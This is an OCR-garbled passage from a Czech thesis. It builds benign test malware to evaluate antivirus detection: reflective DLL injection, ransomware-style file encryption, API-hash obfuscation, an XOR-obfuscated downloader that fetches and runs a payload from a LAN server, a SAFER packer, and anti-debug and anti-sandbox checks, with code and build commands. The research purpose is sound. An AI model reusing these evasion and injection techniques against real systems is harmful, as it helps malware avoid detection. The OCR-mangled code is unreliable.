const size_t remoteShellcodeSize = loaderSize + dllSize;

void *remoteShellcodeMemory = VirtualAllocEx(hProcNotepad, nullptr, remoteShellcodeSize,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

Nasledné zapiSe do alokované paméti procesu loader a pak samotné DLL procesu:

WriteProcessMemory(hProcNotepad, remoteShellcodeMemory, loader, loaderSize, nullptr);

WriteProcessMemory(hProcNotepad, (BYTE *) remoteShellcodeMemory + loaderSize, dllData,
dl1lSize, nullptr);

Nakonec vytvofime a spustime nové vlakno v procesu notepad.exe, které obsahuje

adresu zapsaného loaderu a DLL:

HANDLE hThread = CreateRemoteThread(hProcNotepad, nullptr, FALSE,
(LPTHREAD _START_ROUTINE) remoteShellcodeMemory, nullptr, O, nullptr);

Po spusténi miwr 2.exe a uspéSném provedeni techniky Reflective DLL injection se
zobrazi zminéné popup okno, které¢ pochdzi zpayload.dll a je vytvofen soubor

mlwr 2 eicar.txt ve slozce C:\Users\Public:
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MLWR_02 X

o MUWE_02 uspesne spustil payload

Obrazek 14 Usp&sné spusténi payloadu metodou Reflective DLL injection

(zdroj: viastni | miwr_2.exe a payload.dll)

3.2.3 Zneuziti Windows CryptoAPI (MLWR_3)

V tomto testovacim vzorku malware bude simulovano chovéani zneuZivajici Windows
CryptoAPI k zaSifrovani soubort na disku a simulaci chovani ransomwaru. Windows
CryptoAPI je vrstva systému Windows, ktera umoziuje provadéni kryptografickych operaci

jako napt.:
o Sifrovani a desifrovani dat
e Generovani a sprava klict
e Prace s certifikaty (X.509)
e Digitalni podpis a jejich oveéfovani
Tato API vrstva je Casto zneuzivdna malwarem (primarné¢ ransomwarem jako je

WannaCry anebo CryptoLocker), protoZe ten tak nemusi slozit¢ implementovat vlastni

Sifrovaci algoritmy.

V tomto vzorku jsou pouzité nasledujici funkce, které by mély detekéni enginy
antivirovych programti detekovat a oznacit jako podezielé: CryptCreateHash,

CryptHashData, CryptDeriveKey a CryptEncrypt.
Tento vzorek se sklada z jednoho binarniho souboru:

o mlwr 3.exe — Malware provadéjici kryptografické operace z Windows

CryptoAPI
Zdrojovy kéd miwr_3.exe (mlwr_3.cpp) — nejdiilezitéjsi ¢asti:

Zahrnuté hlavickové soubory a knihovny — véetné wincrypt.h:
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#include <windows.h>
#include <wincrypt.h>
#include <fstream>
#include <vector>

Ziskame Windows CryptoAPI kontext:

CryptAcquireContext(&hProv, nullptr, nullptr, PROV_RSA_AES, CRYPT_VERIFYCONTEXT);

Vytvotime SHA-256 hash objektu:

CryptCreateHash(hProv, CALG_SHA_256, O, O, &hHash);

Zahashujeme Sifrovaci heslo:

CryptHashData(hHash, (BYTE *) password, strlen(password), 0);

Odvodime kli¢ z hashe Sifrovaciho hesla:

CryptDeriveKey(hProv, CALG_AES_256, hHash, O, &hKey);

Otevieme vstupni soubor plain.txt:

std::ifstream in(inputFile, std::ios::binaxy);

std: :vector<BYTE> buffer((std::istreambuf_iterator<char>(in)),
std: :istreambuf_iterator<char>());

DWORD datalen = buffer.size();
DWORD bufferlen = datalen + 16;
buffer.resize(bufferlLen);
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Zasifrujeme vstupni data ze souboru vygenerovanym klicem z hesla, ulozime a

vycistime pamét’:

CryptEncrypt(hKey, O, TRUE, O, buffer.data(), &datalLen, bufferlen);

std::ofstream out(outputFile, std::ios::binary);
out.write(reinterpret_cast<char *>(buffer.data()), datalLen);

CryptDestroyKey(hKey);
CryptReleaseContext(hProv, 0);

Po spusténi se zobrazi zminéné popup okno:

MLUWR_032 %

:l MUWE_03 uspesne spustil payload

Obrazek 15 Usp&sné pouziti Windows CryptoAPI

(zdroj: viastni | miwr_3.exe)

3.2.4 Vlastni kryptory (MLWR_4)

Tento testovaci vzorek malwaru bude vyuZivat techniky, které simuluji jednoduchy
ransomware, ktery prochdzi souborovy systém a Sifruje nalezené soubory pomoci RC4
algoritmu a k tomu pouziva vlastni implementaci tohoto Sifrovaciho algoritmu (kryptor).
Jako inspirace byl pouzit gist uzivatele kaixinol z github.com [41], ktery byl zjednodusSen a
potencidln¢ nebezpecnd mazaci funkcionalita byla upravena tak, aby zlstala soucasti
vysledného kédu — a tedy mohla byt zachycena heuristickou analyzou — ale fakticky

neprovadéla zddnou Skodlivou ¢innost.
Ze zdrojového gistu byly pouzity tyto metody:
e calculateEntropy

e initializeRC4
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o encryptWithRC4

o encryptFileWithRC4
e islnList

e searchFiles

e ReplaceEnviron

Jsou zde pouzity nasledujici funkce, které by mely detekéni enginy antivirovych
programt  detekovat a oznacit jako podezielé¢: FindFirstFile, FindNextFile,
GetFileAttributes, ifstream, remove a ofstream. Navic je v tomto vzorku pouzita vzorova
implementace RC4 algoritmu, kterd by méla byt detekovatelnd heuristickou analyzou

antiviru ¢i zachycena ptimo sandboxem antivirového programu.
Tento vzorek se sklada z jednoho binarniho souboru:

o milwr 4.exe — Malware prochazejici disk a provadéjici kryptografické operace

pomoci algoritmu RC4

Zdrojovy kod miwr_4.exe (miwr_4.cpp) — nejdilezitéjsi ¢asti:
Hlavni smycka programu prohledavajici cilové adresare:
for (std::string directory: rootDirectory) {

searchFiles(directory.c_str());

3

Hlavni smycka prohledavajici soubory v cilovych adresafich a podadresatich volajici

Sifrovaci funkci encryptFileWithRC4:
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do {

const std::string fileName = findFileData.cFileName;

if (fileName != "." && fileName != "..") {
const std::string path = std::string(basePath) + "\\" + fileName;
const DWORD fileAttributes = GetFileAttributes(path.c_stx());
if (fileAttributes != INVALID_FILE_ATTRIBUTES) {

if (fileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
searchFiles(path.c_stx());

} else {
const size_t dotPos = path.xfind('.');
if (dotPos != std::string::npos && isInList(suffixes,

path.substr(dotPos))) {
encryptFileWithRC4(path);

}
} while (FindNextFile(hFind, &findFileData) != 0);

Funkcionalita Sifrujici vstupni soubor — funkce encryptFileWithRC4:

std::ifstream inputFile(inputFileName, std::ios::binary);
std::ofstream outputFile(inputFileName + encryptedSuffix, std::ios::binary);

std: :vector<unsigned char> inputData((std::istreambuf_iterator<char>(inputFile)),

(std::istreambuf_iterator<char>()));
inputFile.close();

std: :vector<unsigned char> keyData(password.begin(), password.end(});

encryptWithRC4(inputData, keyData);

outputFile.write(reinterpret_cast<const char *>(inputData.data()), inputData.size());

outputFile.close();

Po spusténi se zobrazi zminéné popup okno:

MLUWR_04 e

Obrazek 16 Uspésné pouziti vlastniho Sifrovaciho algoritmu simulujici ransomware

(zdroj: vilastni | mlwr_4.exe)
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3.2.5 Technika obfuskace volani Windows API (MLWR 5)

Obfuskovani Windows API je jedna z dalSich castych technik, ktera je pouzivana
vyvojatfi malware k zakryti voldni funkci Windows API, které mohou byt detekovany

antivirem pfi statické anebo dynamické analyze.

Antivirus tyto volani API miize zachytavat pomoci tzv. API hookt — tedy, Ze antivir
piresméruje urcité systémové API funkce pies sviij vlastni kod, diky némuz mtize snadnéji
analyzovat podezielé chovani malwaru ¢i pfimo blokovat skodlivé akce, které se malware

na cilovém hostiteli chysta provést.

V tomto testovacim vzorku malware vyuZzijeme jednu z technik, které obfuskuje volani
Windows API a znesnadiiuje tak detekci antivirem. Jako zdrojovy soubor pouzijeme jiZ
vytvoreny testovaci malware z kapitoly Technika RunPE (MLWR 1), kde obfuskujeme
(skryjeme) volané API funkce.

Pro samotné obfuskovani bylo vyuzito techniky, ktera je dostupnd v tutoridlu na serveru
securitymaven.medium.com [42]. Tento vzorek byl upraven pro tcely této diplomové prace

a byl z n¢j pouzity nasledujici metody: fnvia hash, GetFunctionByHash.
Tento vzorek se sklada ze tfi binarnich soubort:

e getdApiHashes.exe — Soubor, ktery vypiSe hashe cilovych API funkci, které
budou pouzity v miwr_5.cpp. Je dilezité, aby hashe byly vygenerovany mimo
koéd hlavniho programu a pied jeho samotnou kompilaci umistény do kodu
mlwr_5.exe, protoze volaji API funkce pfimo a nasim cilem je volat tyto API

funkce pouze pies jejich hash tzn. skryté.
e payload.exe — Binarni soubor simulujici Skodlivy kéd (payload)

e mlwr 5.exe —Binarni soubor, ktery se pokusi obejit detekci antivirem tim, Ze
spusti vérohodny proces (notepad.exe) v pozastaveném stavu a poté jej nahradi

za payload.exe, ktery spusti, a to v§e s obfuskovanym volanim Windows API.
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Zdrojovy koéd getApiHashes.exe (getApiHashes.cpp) — nejdilezitéjsi casti:

Definice funkeci, pro které chceme zjistit hash:

HMODULE hUser32 = LoadlLibraryA("kernel32.d11l");
dll");

HMODULE hNtdll = LoadLibraryA("ntdll.

std:
std:
std:
std:
std:
std:
std:

:cout
:cout
:cout
:cout
:cout
:cout
:cout

<<
<<
<<
<<
<<
<<
<<

"CreateProcessA: "
"ReadProcessMemory: "
"VirtualAllocEx: "
"WriteProcessMemory:
"SetThreadContext: "
"ResumeThread: "
"NtUnmapViewOfSection:"

<<
<<
<<
<<
<<
<<

<<

std:
std:
std:
std:
std:
std:
std:

thex
thex
rhex
thex
thex
thex
rhex

<<
<<
<<
<<
<<
<<

<<

fnvia_hash("CreateProcessA");
fnvlia_hash("ReadProcessMemory");
fnvia_hash("VirtualAllocEx");
fnvia_hash("WriteProcessMemory");
fnvia_hash("SetThreadContext");
fnvia_hash("ResumeThread");
fnvia_hash("NtUnmapViewOfSection");

Hashovaci funkcionalita s nastavenymi hashovacimi parametry:

#define FNV_PRIME 0x1000193
#define FNV_OFFSET_BASIS 0x811c9dc5

DWORD fnvla_hash(const char *functionName) {

DWORD hash = FNV_OFFSET_BASIS;
while (*functionName) {
hash "= (BYTE) (*functionName++);
hash *= FNV_PRIME;

}

return hash;

Kde FNV_PRIME a FNV_OFFSET BASIS jsou konstanty pouZzity pro hashovaci

algoritmus FNV-1A, ktery je vyuzit v tomto pripad€. Tyto konstanty musi byt definovany

stejné v getApiHashes.cpp tak v mlwr_5.cpp. Obecné Ize fict, ze jako hashovaci algoritmus

1ze pouzit jakykoliv jiny.

Vystup programu getApiHashes.exe pak mtize byt nasledujici:

CreateProcessA: 4a7c0a09
ReadProcessMemory: 9750505
VirtualAllocEx: aeb6049c
WriteProcessMemory: c0088eea
SetThreadContext: 6ed04712
ResumeThread: bb21e02e

NtUnmapViewOfSection:53b808c5
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Zdrojovy kod miwr_5.exe (miwr_5.cpp) — nejdilezité)si ¢asti:

V programu jsou definovany ziskané hashe API funkci:

DWORD hashCreateProcessA = 0x4aT7c0a09;

DWORD hashReadProcessMemory = Ox9750505;
DWORD hashVirtualAllocEx = Oxaeb6049c;

DWORD hashWriteProcessMemory = Oxc0088eea;
DWORD hashSetThreadContext = Ox6ed04712;
DWORD hashResumeThread = Oxbb2ie02e¢;

DWORD hashNtUnmapViewOfSection = 0x53b808c5;

Poté jsou definovany hlavicky volanych funkci:

using CreateProcessA_t = BOOL (WINAPI*)(

using ReadProcessMemory_t = BOOL (WINAPI*)(

using VirtualAllocEx_t = LPVOID (WINAPI*)(

using WriteProcessMemory_t = BOOL (WINAPI*)(

using SetThreadContext_t = BOOL (WINAPI*)(

using ResumeThread_t = DWORD (WINAPI*)(

using NtUnmapViewOfSection_t = NTSTATUS (NTAPI*)(

Ve funkci RunPE64 definujeme wrappery (tzv. obalime) API volani:
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HMODULE hUser32 = LoadLibraryA("kernel32.d1l1l");
HMODULE hNtdll = LoadLibraryA("ntdll.d1l");

FARPROC fnCreateProcessA = GetApiByHash(hUser32, hashCreateProcessA);

FARPROC fnReadProcessMemory = GetApiByHash(hUser32, hashReadProcessMemory);
FARPROC fnVirtualAllocEx = GetApiByHash(hUser32, hashVirtualAllocEx);

FARPROC fnWriteProcessMemory = GetApiByHash(hUser32, hashWriteProcessMemory);
FARPROC fnSetThreadContext = GetApiByHash(hUser32, hashSetThreadContext);
FARPROC fnResumeThread = GetApiByHash(hUser32, hashResumeThread);

FARPROC fnNtUnmapViewOfSection = GetApiByHash(hNtdll, hashNtUnmapViewOfSection);

CreateProcessA_t CreateProcessA_dyn = (CreateProcessA_t) fnCreateProcessA;
ReadProcessMemory_t ReadProcessMemory_dyn = (ReadProcessMemory_t) fnReadProcessMemory;
VirtualAllocEx_t VirtualAllocEx_dyn = (VirtualAllocEx_t) fnVirtualAllocEx;
WriteProcessMemory_t WriteProcessMemory_dyn = (WriteProcessMemory_t) fnWriteProcessMemory;

SetThreadContext_t SetThreadContext_dyn = (SetThreadContext_t) fnSetThreadContext;
ResumeThread_t ResumeThread_dyn = (ResumeThread_t) fnResumeThread;

NtUnmapViewOfSection_t NtUnmpatViewOfSection_dyn = (NtUnmapViewOfSection_t)
fnNtUnmapViewOfSection;

Dale jsou v kodu nahrazeny systémové API volani za volani wrapovana (obalend) viz

tabulka:

Tabulka 7 Tabulka nahrazenych API volani

Pivodni API volani: Obalené API volani:
CreateProcessA CreateProcessA_dyn
ReadProcessMemory ReadProcessMemory dyn
Virtual AllocEx VirtualAllocEx_dyn
WriteProcessMemory WriteProcessMemory dyn
SetThreadContext SetThreadContext _dyn
ResumeThread ResumeThread dyn
NtUnmpatViewOfSection | NtUnmpatViewOfSection_dyn

(zdroj: viastni)

Vsechny jména nahrazenych funkci budou pied kompilaci manuélné zménény na
odli$né textové fetézce, a to z dlivodu statické analyzy antivirového engine, ktery by mohl

jména proménnych identifikovat jako podezielé viz. niZe.
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CPA_t CPA_dyn (CPA_t) £nCPA;

RPM_t RPM_dyn (RPM_t) £nRPM;

VAE_t VAE_dyn (VAE_t) £nVAE;

WPM_t WPM_dyn = (WPM_t) £nWPM;

STC_t STC_dyn = (STC_t) £nSTC;

RT_t RT_dyn = (RT_t) £nRT;

NUVOS_t NUVOS_dyn = (NUVOS_t) fnNtUnmapViewOfSection;

Nasledné je zkompilovan program payload.exe stejné jako v pripadé Techniky
RunPE, hlavickovy soubor je dosazen jako import do mlwr 5.cpp a ten je zkompilovan a

spustén.

Po spusténi se zobrazi zminéné popup okno:

MLWR_05 >

lol MUWE_05 uspesne spustil payload

Obrazek 17 Usp&sné pouziti technicky RunPE a obfuskovanych API volani

(zdroj: viastni | mlwr_5.exe)

3.2.6 Technika shellcode Injection ze vzdaleného zdroje (MLWR _6)

Shellcode Injection ze vzdaleného zdroje je testovaci vzorek ve kterém se pokusime
nasimulovat situaci, kdy malware stdhne a spusti Skodlivy kod z internetu. Malware nebude
nijak Sifrovan a bude se jednat o spustitelny exe soubor umistény na webové serveru
v lokdlni siti. URL s umisténim payloadu a destinace umisténi souboru bude zakédovana

pomoci XORu.

Jelikoz se jedna o program, ktery navazuje TCP/IP spojeni s neznamym serverem (byt’
na lokalni siti), ze které¢ho stahuje neznama binarni data, tyto uklada na disk jako spustitelny
soubor (.exe) a nasledné je spousti jako novy proces na cilovém hostiteli, mél by tento postup

aktivovat detek¢ni mechanismy antivirového feSeni a zabréanit provedeni Skodlivého kodu.

Tento vzorek se sklada ze Ctyt binarnich soubori:
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mlwr_6.exe — Binarni soubor, ktery provede stazeni malware mlwr I.exe
z internetu a provede jeho spusténi. Ke stazeni payloadu byla pouzita knihovna

urlmon.h.

mlwr_I.exe — Binarni soubor obsahujici techniku RunPE s upravenym popup

oknem
payload.exe — Binarni soubor simulujici Skodlivy kod (payload)

xor_obfuscation.exe — Binarni soubor, ktery zakoduje potencialné

detekovatelné stringy pomoci XORu

Mlwr_1.exe prejmenujeme na payload.exe umistime jej na VM _malware_development,

kde bude dostupny ke stazeni v§em ostatnim virtudlnim strojim v moment¢ simulace.

Zdrojovy koéd xor_obfuscation.exe (xor_obfuscation.cpp) je nasledujici:

Funkce pro kdédovani stringu do XOR:

void xor_obfuscate(const char* input, const char* key, unsigned char* output) {
size_t len = strlen(input);
size_t key_len = strlen(key);
for (size_t i = 0; 1 < len; ++i) {
output[i] = input[i] ~ key[i % key_len];

Obfuskace stringu s URL odkud bude stazen mlwr I.exe a cilové cesty, kde bude

ulozen:

const char* originalURL = "http://192.168.100.11:8000/payload.exe";
size_t lenURL = strlen(originalURL);
unsigned char obfuscatedURL[ 1;

xor_obfuscate(originalURL, key, obfuscatedURL);

const char* orifinalFilePath = "C:\\Users\\Public\\payload.exe";
size_t lenFilePath = strlen(orifinalFilePath);

unsigned char obfuscatedFilePath[ 1;
xor_obfuscate(orifinalFilePath, key, obfuscatedFilePath);
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Program je néasledovné zkompilovén:

g++ ./xor_obfuscation.cpp -0 ./output/xor_obfuscation.exe -0Os -s -m64

A spustén:

Obfuskovane URL (hex):
1b1117025£5b5c545a404b45455d4d4355445d5452485d4443554¢02040d1£0a02164b110b00
Obfuskovany FilePath (hex): 305£3£27161101163f2210161f0c002e15150a090c13015a161d06

Vysledné stringy obfuskace jsou nésledné¢ pouzity v mlwr 6.cpp, kde budou

dekoédovany za béhu programu.

Zdrojovy kod mlwr_6.exe (mlwr_6.cpp) je nasledujici:

Funkce pro deobfuskaci:

unsigned char hex_to_byte(const char *hex) {
unsigned char high = isdigit(hex[0]) ? hex[0] - 'O' : tolower(hex[0]) - 'a' + 10;

unsigned char low = isdigit(hex[1]) ? hex[1] - 'O' : tolower(hex[1]) - 'a' + 10;
return (high << 4) | low;

void xor_deobfuscate_hex(const char *hexInput, const char *key, char *output) {
size_t hexLen = strlen(hexInput);
size_t KeyLen = strlen(key);
size_t outputlLen = hexLen / 2;

for (size_t i = 0; i < outputLen; ++i) {
unsigned char byte = hex_to_byte(&hexInput[i * 2]);
output[i] = byte ~ key[i % keylLen];

}

output[outputLen] = "\0';
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Volani funkce s obfuskovanymi stringu jako parametr a jejich deobfuskovani za béhu:

const char *obfuscatedURL =
"1b1117025f5b5c545a404b45455d4d4355445d5452485d4443554c02040d1£0a02164b110b00" ;

const char *obfuscatedFilePath = "305£3f27161101163f2210161f0c002e15150a090¢13015a161d06" ;
const char *key = "secret";

char deobfuscatedURL[256];
char deobfuscatedFilePath[256];

xor_deobfuscate_hex(obfuscatedURL, key, deobfuscatedURL);
xor_deobfuscate_hex(obfuscatedFilePath, key, deobfuscatedFilePath);

Stazeni a ulozeni payloadu z definované URL do cilové slozky:

URLDownloadToFileA(nullptr, deobfuscatedURL, deobfuscatedFilePath, O, nullptr);

Spusténi payloadu na cilovém pocitaci jako novy proces:

STARTUPINFOA si = {sizeof(si)};
PROCESS _INFORMATION pi;

CreateProcessA(obfuscatedFilePath, NULL, NULL, NULL, FALSE, O, NULL, NULL, &si, &pi);

CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);

Program je zkompilovan a spustén:

g++ ./mlwr_6.cpp -o ./output/mlwr_6.exe -mwindows -mB64 -Os -s -fvisibility=hidden \
-ffunction-sections -fdata-sections -W1l,--gc-sections -fstack-protector -fno-ident -
lurlmon
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Po spusténi se zobrazi zminéné popup okno, které je soucasti stazen¢ho payloadu:

MLWR_06 %

o MUWE_06& uspesne spustil payload

Obrazek 18 Usp&iné spusténi stazeného payloadu z internetu

(zdroj: viastni | mlwr_6.exe)

3.2.7 Technika pouziti packeri a crypteri (MLWR _7)

V tomto vzorku bude pouZzita metoda, kdy je Skodlivy payload pted pouZzitim v hlavnim
programu tzv. packeru zaSifrovan blokovou Sifrou Safer a poté na cilovém systému

desifrovan a spustén.

Tato metoda obchdzi detek¢ni engine antivirového programu tim, Ze je zaSifrovany
obsah pro antivir v prvotni fazi neznamy. Vzhledem tomu, Ze spustény obsah bude pouZzivat
RunPE techniku po spusténi payloadu, je pravdépodobné, Ze ani v této fazi pokusu o obejiti
detekce nezareaguje antivirovy program spravné. Tato technika vrstveni payloadu je zradna
pfedevsim tim, Ze pocet vrstev miiZe byt technicky neomezeny — coz vyrazné ztéZuje praci

jak reverznim inZenyrm, tak i detek¢énim engintim.

Pro vyvoj tohoto testovaciho vzorku byl jako inspirace vyuzit ¢lanek [43] autora
Zhassulan Zhussupov zndmého také pod prezdivkou Cocomelonc a autora knihy MD MZ —

Malware Development Book. [44]
Byly pouzity nasledujici Sifrovaci / deSifrovaci funkce crypteru:
e safer encrypt
e safer decrypt
Tento testovaci vzorek se sklada ze Ctyt binarnich soubort:

e mlwr_7.exe — Binarni soubor, ktery provede deSifrovani a spusténi payloadu

mlwr_I.exe na cilovém hostiteli.
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milwr_1.exe — Binarni soubor, Technika RunPE s upravenym popup oknem
payload.exe — Binarni soubor simulujici Skodlivy kod (payload)

_safer_encryptor.exe — Pomocny binarni soubor, ktery zaSifruje miwr I.exe
pomoci Sifry Safer, kterd vytvofti hlavickovy soubor mlwr 1 payload enc.h,

ktery je nasledné zahrnut v miwr 7.exe jako import

Sifra SAFER (Secure And Fast Encryption Routine) piedstavuje rodinu symetrickych

blokovych Sifer, které byly navrZzeny Jamesem Masseym a jeho spolupracovniky pro

spole¢nost Cylink Corporation. Prvni varianta byla publikovana v roce 1993 a dalsi varianty

byly vyvijeny az do roku 2000. [45]

Jelikoz tento vzorek vyzaduje Sifrovani payloadu a jistou logiku vrsteveni je vhodné

uvést kratky postup pfi vytvareni tohoto komplexnéjsiho vzorku:

1.

2.

Soubor payload.cpp je zkompilovan do payload.exe
Ze souboru payload.exe je vytvoten hlavi¢kovy soubor payload.h
Soubor payload.h je zahrnut v mlwr_1.cpp a ten je zkompilovan do mlwr _I.exe

Ze souboru mlwr_1.exe je vytvoien hlavickovy soubor

mlwr_1_payload_plain.h

Zkompilujeme pomocny program _safer_encryptor.cpp do
_safer_encryptor.exe
Soubor miwr 1 payload plain.h je zaSifrovan do miwr 1 payload enc.h

pomoci programu _safer encryptor.exe, ktery k Sifrovani pouziva Sifrovaci kli¢
(utbjefain), ktery bude nasledné pouzit i v miwr_7.cpp k desifrovani.

Soubor miwr 7.cpp ve kterém, je obsazen miwr I payload enc.h je

zkompilovan do findlniho souboru miwr_7.exe
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Zdrojovy koéd payload.exe (payload.cpp) je nasledujici:

#include <fstream>
#include <windows.h>

const char *eicar = "X50!P%@AP[4\\PZX54(P~)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-
FILE!$H+H*";

std::string mlwrID = "O7";

std::string filename = "C:\\Users\\Public\\mlwr_" + mlwrID + "_eicar.com";

int main() {
std: :ofstream f(filename);
f << eicar;
f.close();
std: :string message = "MLWR_" + mlwrID + " uspesne spustil payload";
std::string title = "MLWR_" + mlwzrID;

MessageBoxA(NULL, message.c_str(), title.c_str(), MB_ICONINFORMATION);

return O;

Payload.cpp zZkompilujeme:

g++ ./payload.cpp -o ./output/payload.exe -mwindows -m64 -Os -s -fvisibility=hidden \
-ffunction-sections -fdata-sections -Wl,--gc-sections -fstack-protector -fno-ident

Dale je nutné vytvoreny soubor payload.exe konvertovat do HexDec formatu a vytvorit

z n¢j hlavi¢kovy soubor piipraveny pro import:

$currDir = Get-Location
$exePath = Join-Path $currDir 'payload.exe'
$headerPath = Join-Path $currDir 'payload.h'

$bytes = [System.IO.File]::ReadAllBytes($exePath)
$hex = $bytes | ForEach-Object { 'Ox{0:x2}, ' -f $_ 2

$c_array = "unsigned char payload[] = {'n" + ($hex -join '') + "'n};"
Set-Content -Path $headerPath -Value $c_array

V této fazi mame pripraveny payload.exe jako payload.h, ktery mizeme importovat do

mlwr_1.cpp.
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mlwr_1.cpp zkompilujeme:

g++ ./mlwr_1.cpp -o ./output/mlwr_1i.exe -mwindows -m64 -0Os -s -fvisibility=hidden \

-ffunction-sections -fdata-sections -W1l,--gc-sections -fstack-protector -fno-ident

Déle musime vysledny binarni soubor miwr I.exe zkonvertovat do HexDec formatu

abychom ho méli piipraveny pro import jako hlavi¢kovy soubor:

$currDir = Get-Location
$exePath = Join-Path $currDir 'mlwr_i.exe'
$headerPath = Join-Path $curxDir 'mlwr_1_payload_plain.h'

$bytes = [System.IO.File]::ReadAllBytes($exePath)
$hex = $bytes | ForEach-Object { 'Ox{0:X2}, ' -f $_ 2

$c_array = "unsigned char payload[] = {'n" + ($hex -join '') + "'n};"

Set-Content -Path $headerPath -Value $c_array

Vysledny hlavickovy soubor milwr I payload plain.h  bude

v pomocném programu _safer encryptor.cpp - — nejdulezitéjsi ¢asti:

Sifrovaci rutina pouzivajici funkci safer _encrypt:

int len = sizeof(payload);
int pad_len = (len + BLOCK_SIZE - 1) & ~(BLOCK_SIZE - 1);

unsigned char padded[pad_len];
memset (padded, 0x90, pad_len);
memcpy (padded, payload, len);

for (int 1 = 0; 1 < pad_len; i += BLOCK_SIZE) {
safer_encrypt(&padded[i], key);

Nasledné program _safer encryptor.cpp zkompilujeme a spustime:

g++ ./_safer_encryptor.cpp -o ./output/_safer_encryptor.exe

-0s -s -m64

naimportovan
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Vystup programu _safer encryptor.cpp vypada nasledovné:

Payload encrypted
Saving to .h file:
Encrypted payload was written into mlwr_1_payload_enc.h file.

Vygenerovany  hlavickovy  soubor  zaSifrovany  blokovou  Sifrou  Safer

mlwr_1_payload_enc.h zahrneme do zdrojového kédu miwr _7.cpp — nejdilezitéjsi casti:

Globélni proménné a parametry pro Safer algoritmus s definici symetrického klice (kli¢

je stejny jako v _safer encryptor.cpp tzn: utbjefain):

const char *filename = "output.exe";

#define BLOCK_SIZE

#define ROUNDS

unsigned char key[] = "\x75\x74\x62\x6a\x65\x66\x61\x69\x6e";

Desifrovaci rutina pouZivajici funkci safer _decrypt:

unsigned char padded_payload[payload_size];
memset(padded_payload, 0x90, payload_size);
memcpy (padded_payload, payload, payload_size);

for (int 1 = 0; 1 < sizeof(payload); i += BLOCK_SIZE) {
safer_decrypt(&padded_payload[i], key);
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Ulozeni desifrovaného payloadu na disk a jeho spusténi:

if (!saveToFile(filename, padded_payload, payload_size)) {

return O;

STARTUPINFOA si = {sizeof(si)};
PROCESS _INFORMATION pi;

CreateProcessA(filename, NULL, NULL, NULL,
FALSE, O, NULL, NULL, &si, &pi);

CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);

A nésledné program zkompilujeme do vysledného testovaciho vzorku:

g++ ./mlxrw_7.cpp -o ./output/mlrw_7.exe -mwindows -m64 -Os -s -fvisibility=hidden \
-ffunction-sections -fdata-sections -W1l,--gc-sections -fstack-protector -fno-ident

Po spusténi miwr _7.cpp se zobrazi popup okno:

MLWER_OF x

0 MUWRE_07 uspesne spustil payload

Obrazek 19 Usp&sné desifrovani §kodlivého payloadu a jeho spusténi na hostiteli

(zdroj: viastni | mlwr_7.exe)

3.2.8 Technika anti-debugging a anti-sandboxing (MLWR_38)

V tomto vzorku bude naprogramovan testovaci malware, ktery simuluje anti-debugging
a anti-sandboxing techniky. Tyto techniky jsou vyuZzivany k obchazeni dynamické analyza

antivirovych programii.

Testovaci vzorek bude vyuzivat anti-debugging techniku popsanou autorem

Zhassulanem Zhussupovem, autorem knihy MD MZ — Malware Development Book [44]
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kde autor popisuje vlastni vyzkum anti-debugging techniky pomoci NtGlobalFlag ve

struktufe PEB (Process Environment Block).

Dle zdroje z unprotect.it [46], ktery shromazd'uje a udrzuje informace o znamych
technikach pouzivanych k obchézeni detekce, se jedna o flag ulozeny v nezdokumentované
casti PEB struktury na offsetu 0x68 u 32bitové architektury, nebo na offsetu OxBC u 64bitové
architektury. Pokud je na této adrese nastavena hodnota 0x70, je ziejmé, Ze byl proces

spustén pomoci debuggeru.

Systém Windows mé ve vychozim stavu nastavenou tuto hodnotu na 0 avSak pokud byl

proces vytvofen debuggerem, jsou nastaveny nasledujici ptiznaky:
e FLG HEAP ENABLE TAIL CHECK (0x10)
e FLG HEAP ENABLE FREE CHECK (0x20)
e FLG HEAP VALIDATE PARAMETERS (0x40)
Pritomnost debuggeru tedy lze detekovat kontrolou kombinace téchto piiznaki.

Jako anti-sandbox technika byla vyuzZita technika zvetfejnéna autorem OxPat na jeho

blogu [47], kde autor k detekci spusténi v sandboxu testuje systémové zdroje.

Autor tuto metodu odivodiuje nasledovné: Hlavnim problémem jsou omezené
systémové prostiedky — sandbox nemusi byt schopen spousteét dlouhé a naro¢né simulace
paralelné, a proto Casto omezuje pfidélené prostiedky a ¢as vyhrazeny pro jednu instanci.
Stejnym omezenim podléhaji 1 béZné virtudlni stroje pouzivané analytiky — ¢asto maji také
omezené systémové prostiedky. Typicka uzivatelska pracovni stanice ma procesor alespoi
se 2 jadry, minimaln¢€ 2 GB RAM a pevny disk o velikosti 100 GB. MZeme tedy ovéfit, zda

prostiedi, ve kterém je nase Skodliva aplikace spusténa, podléha témto omezenim.

Testovaci malware tedy nejprve ovéfi, zda je spustén v ladicim (debugovacim) rezimu.
Nasledné zkontroluje, zda systémové prostiedky odpovidaji typické uzivatelské pracovni

stanici. Teprve poté se rozhodne, zda Skodlivy kod spusti, ¢i nikoli.

Pro naSe G¢ely nastavime ovéfovaci podminky systémovych zdroja tak, aby odpovidaly
konfiguraci jednotlivych virtudlnich stroji, na kterych budou provadény testy, tedy: 2 CPU,
2048 MB RAM a 58 GB disk. To znamena, Ze v ptipad¢, kdy antivirovy engine povoli
spusténi tohoto binarniho souboru, skute¢né dojde k jeho spusténi i na naSem virtudlnim

stroji.
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Tento vzorek se sklada z jednoho binarnich soubort:

e mlwr 8.exe — Binarni soubor, ktery se pokusi obejit detekci tim, Ze ovéfi,

v jakém prostiedi byl spustén a az poté spusti ¢i nespusti Skodlivy kod.

Zdrojovy koéd miwr_8.exe (mlwr_8.cpp) — nejdilezitéjsi Casti:

Zahrnuté hlavickové soubory a knihovny:

#include <winternl.h>
#include <windows.h>
#include <chrono>
#include <fstream>
#include <thread>

Implementace funkce isDebugged:

bool isDebugged() {
PPEB ppeb = (PPEB) __readgsqword(0x60);
DWORD ntGlobalFlag = *(PDWORD) ((PBYTE) ppeb + OxBC);

bool isDebugged = (ntGlobalFlag & (FLG_HEAP_ENABLE_TAIL_CHECK |
FLG_HEAP_ENABLE_FREE_CHECK |
FLG_HEAP_VALIDATE_PARAMETERS)) != 0;

return isDebugged;

Tato funkce vraci true, pokud je ptitomen jeden z ptiznaku u NtGlobalFlag.
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Implementace funkce isSandboxed — nejdilezitéjsi Casti:

bool isSandboxed() {

